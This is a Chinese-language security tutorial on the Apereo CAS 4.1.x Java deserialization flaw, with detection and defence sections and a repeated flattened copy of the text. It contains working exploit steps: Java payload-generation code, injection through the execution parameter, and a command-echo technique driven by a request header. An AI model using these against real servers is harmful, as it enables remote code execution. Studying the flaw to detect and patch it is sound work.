Apereo Cas 4.1.x 反序列化回显与检测
字数 1148 2025-08-20 18:17:47

Apereo CAS 4.1.x 反序列化漏洞分析与利用

0x01 漏洞概述

Apereo CAS 4.1.x 版本存在Java反序列化漏洞,攻击者可以通过构造特殊的序列化数据在服务器上执行任意命令。该漏洞主要存在于CAS的登录认证流程中,通过精心构造的execution参数实现反序列化攻击。

0x02 环境搭建

参考文章:https://www.anquanke.com/post/id/198842

  1. 搭建Apereo CAS 4.1.x环境
  2. 使用浏览器访问CAS登录页面
  3. 填入用户名和密码并使用Burp Suite进行抓包

0x03 漏洞利用复现

工具准备

使用Apereo-CAS-Attack工具生成payload:
https://github.com/vulhub/Apereo-CAS-Attack

生成payload代码示例

String type = "CommonsCollections4";
String command = "cmd.exe /c calc.exe";
String id = UUID.randomUUID().toString();
EncryptedTranscoder et = new EncryptedTranscoder();
Object obj = ObjectPayload.Utils.makePayloadObject(type, command);
byte[] code = et.encode(obj);
String payload = Base64.getEncoder().encodeToString(code);
String data = URLEncoder.encode(id + "_" + payload, "UTF-8");
System.out.println(data);

攻击步骤

  1. 将生成的payload字符串贴到Burp请求的execution参数处
  2. 发送请求即可执行命令(如弹出计算器)

0x04 回显利用技术

在无法出网的环境中,回显技术可以直观显示命令执行结果。

使用改造后的ysoserial工具

java -jar ysoserial-managguogan-0.0.1-SNAPSHOT-all.jar encode CommonCollections4

攻击步骤

  1. 将生成的payload替换至execution参数
  2. 在请求头部添加命令:cmd:xxx
  3. 发送请求后可在响应中看到命令执行结果

0x05 检测思路

分析EncryptedTranscoder类的encode和decode方法:

  1. encode方法生成利用字符串
  2. decode方法进行解密和解压缩后通过ObjectInputStream.readObject反序列化

检测方法:

java -jar ysoserial-managguogan-0.0.1-SNAPSHOT-all.jar decode base64stringxxxx 1.txt

工具会检测字符串中是否包含ysoserial特征,若存在则返回"Detect ysoserial"。

0x06 ysoserial改造方法

参考00TheWay、l1nk3r和DreamXu的实现,主要改造点:

  1. 添加ApereoCas专用类
  2. 实现回显功能
  3. 优化payload生成逻辑

0x07 工具下载

改造后的ysoserial工具地址:
https://github.com/MrMeizhi/ysoserial-mangguogan

0x08 防御建议

  1. 升级到最新版本的Apereo CAS
  2. 对execution参数进行严格过滤
  3. 监控反序列化操作
  4. 使用安全管理器限制危险操作

0x09 参考资源

  1. https://www.00theway.org/2020/01/04/apereo-cas-rce/
  2. https://www.anquanke.com/post/id/198842
  3. https://www.freebuf.com/vuls/226149.html

声明:本文所述技术仅用于安全研究学习,请勿用于非法用途。

Apereo CAS 4.1.x 反序列化漏洞分析与利用 0x01 漏洞概述 Apereo CAS 4.1.x 版本存在Java反序列化漏洞,攻击者可以通过构造特殊的序列化数据在服务器上执行任意命令。该漏洞主要存在于CAS的登录认证流程中,通过精心构造的execution参数实现反序列化攻击。 0x02 环境搭建 参考文章: https://www.anquanke.com/post/id/198842 搭建Apereo CAS 4.1.x环境 使用浏览器访问CAS登录页面 填入用户名和密码并使用Burp Suite进行抓包 0x03 漏洞利用复现 工具准备 使用Apereo-CAS-Attack工具生成payload: https://github.com/vulhub/Apereo-CAS-Attack 生成payload代码示例 攻击步骤 将生成的payload字符串贴到Burp请求的execution参数处 发送请求即可执行命令(如弹出计算器) 0x04 回显利用技术 在无法出网的环境中,回显技术可以直观显示命令执行结果。 使用改造后的ysoserial工具 攻击步骤 将生成的payload替换至execution参数 在请求头部添加命令: cmd:xxx 发送请求后可在响应中看到命令执行结果 0x05 检测思路 分析EncryptedTranscoder类的encode和decode方法: encode方法生成利用字符串 decode方法进行解密和解压缩后通过ObjectInputStream.readObject反序列化 检测方法: 工具会检测字符串中是否包含ysoserial特征,若存在则返回"Detect ysoserial"。 0x06 ysoserial改造方法 参考00TheWay、l1nk3r和DreamXu的实现,主要改造点: 添加ApereoCas专用类 实现回显功能 优化payload生成逻辑 0x07 工具下载 改造后的ysoserial工具地址: https://github.com/MrMeizhi/ysoserial-mangguogan 0x08 防御建议 升级到最新版本的Apereo CAS 对execution参数进行严格过滤 监控反序列化操作 使用安全管理器限制危险操作 0x09 参考资源 https://www.00theway.org/2020/01/04/apereo-cas-rce/ https://www.anquanke.com/post/id/198842 https://www.freebuf.com/vuls/226149.html 声明 :本文所述技术仅用于安全研究学习,请勿用于非法用途。